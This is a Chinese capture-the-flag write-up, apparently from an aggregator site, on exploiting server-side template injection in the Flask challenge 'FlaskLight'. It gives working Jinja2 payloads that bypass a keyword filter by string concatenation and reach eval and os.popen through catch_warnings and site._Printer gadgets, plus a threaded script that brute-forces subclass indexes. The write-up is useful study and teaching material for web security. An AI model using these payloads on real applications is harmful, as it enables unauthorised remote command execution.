当前位置: 首页 > news >正文

[CSCCTF 2019 Qual]FlaskLight

注释里面提示GET['search'],简单测试一下发现存在SSTI漏洞。

1、尝试{{config}}

没什么特别线索。

2、尝试通过“可用函数”获得全局变量。{{url_for.__globals__}}

Internal Server Error

说明可能有过滤。换一个:{{get_flashed_messages['__glo''bals__']}}

这边['__globals__']能实现与.__globals__同样的效果,于是能通过字符拼接绕过简单的关键字过滤

直接得到了全局变量。

3、利用其中的__builtins__模块调用内置函数获得rce

{{get_flashed_messages['__glo''bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

直接拿到rec。

4、尝试其他方法。获取子类:{{''.__class__.__mro__[2].__subclasses__()}}

在 Flask 注入题目中,获得subclasses后,可利用以下一些类来获取 flag:


file类(Python2 环境):在 Python2 中,object类的子类中有file类,可用于文件读取。通过找到file类的位置,利用其打开并读取存储 flag 的文件,如"a".__class__.__mro__[2].__subclasses__()[40]("flag.txt").read()可读取flag.txt文件内容。


os._wrap_close类(Python3 环境):在 Python3 环境中,可以利用os._wrap_close类。通过获取该类,再访问其__init__.__globals__属性,进而利用其中的open或popen函数来读取文件或执行命令获取 flag,如"a".__class__.__bases__[0].__subclasses__()[<os._wrap_close类的索引>].__init__.__globals__['open']('/opt/flag文件路径').read()。


catch_warnings类:可以在其全局变量中找到eval,利用eval执行命令来获取 flag。例如{{''.__class__.__mro__[2].__subclasses__()[166].__init__.__globals__['eval']('__import__("os").popen("env").read()') }}


site._Printer类:可以在其全局变量中找到os

5、由于这里并不知道flag的具体位置,所以file类读取文件不太行。这里应该使用的是python2的环境所以没有os.wrap.close类。直接尝试catch_warning类。由于不知道具体位置,可以用脚本跑一下:

import requests
from concurrent.futures import ThreadPoolExecutordef makerequest(i):url = f"http://4183e6ca-1497-4aa2-82d6-5d0b843e951e.node5.buuoj.cn:81/?search={{{{''.__class__.__mro__[2].__subclasses__()[{i}]}}}}"r = requests.get(url)# print(r.text)if "catch_warning" in r.text:print(i)with ThreadPoolExecutor(max_workers=10) as executor:futures = [executor.submit(makerequest, i) for i in range(0, 200)]

利用多线程加快速度。跑出来是59。

6、{{''.__class__.__mro__[2].__subclasses__()[59].__init__['__global''s__']}}

能看到全局变量中有

'eval': <built-in function eval>

一开始犯了一个错误,该函数是属于built-in function,并不在当前全局变量中。不能直接调用。

7、通过__builtins__调用。{{''.__class__.__mro__[2].__subclasses__()[59].__init__['__global''s__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

再次得到rec。

8、再尝试一下site._Printer类。先通过脚本找到位置为71。

{{''.__class__.__mro__[2].__subclasses__()[71].__init__['__global''s__']}}

'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>

可以看到有内置os。

9、{{''.__class__.__mro__[2].__subclasses__()[71].__init__['__global''s__']['os'].popen('ls').read()}}

又成功拿到rec。

http://www.lryc.cn/news/619641.html

相关文章:

  • [AI React Web] 包与依赖管理 | `axios`库 | `framer-motion`库
  • Spring cloud集成ElastictJob分布式定时任务完整攻略(含snakeyaml报错处理方法)
  • 使用TexLive与VScode排版论文
  • 从0开始配置conda环境并在PyCharm中使用
  • Node.js浏览器引擎+Python大脑的智能爬虫系统
  • 低成本扩展方案:S7-200SMART作为S7-1500分布式IO从站的上位机配置指南
  • Linux网络性能调优终极指南:深度解析与实践
  • 初识c语言————排序方法
  • 【新手入门】Android Studio 项目结构拆解,快速理解文件作用!
  • 【Linux】常用命令(三)
  • 数据结构:用数组实现队列(Implementing Queue Using Array)
  • Python实现点云概率ICP(GICP)配准——精配准
  • 8.13打卡 DAY 41 简单CNN
  • 多模态RAG赛题实战之策略优化--Datawhale AI夏令营
  • 桌面运维如何深造
  • MySQL表约束
  • Spring Boot项目中线程池的全面教程
  • 中高级餐饮服务食品安全员考试核心知识点汇总
  • Spring Boot初级概念及自动配置原理
  • Spring Boot 3 连接池最大连接数设置建议
  • sample_kol里配置为 deep sleep mode,则系统进入 STR
  • Spring、Spring MVC、Spring Boot与Spring Cloud的扩展点全面梳理
  • Python【算法中心 03】Docker部署Django搭建的Python应用流程实例(Docker离线安装配置+Django项目Docker部署)
  • django name ‘QueryDict‘ is not defined
  • 更改webpack默认配置项
  • Git Bash
  • 导轨焊接机器人:重塑高效精准焊接的新标杆
  • VUE3中的内置 API
  • amis表单较验
  • SpringCloud(1)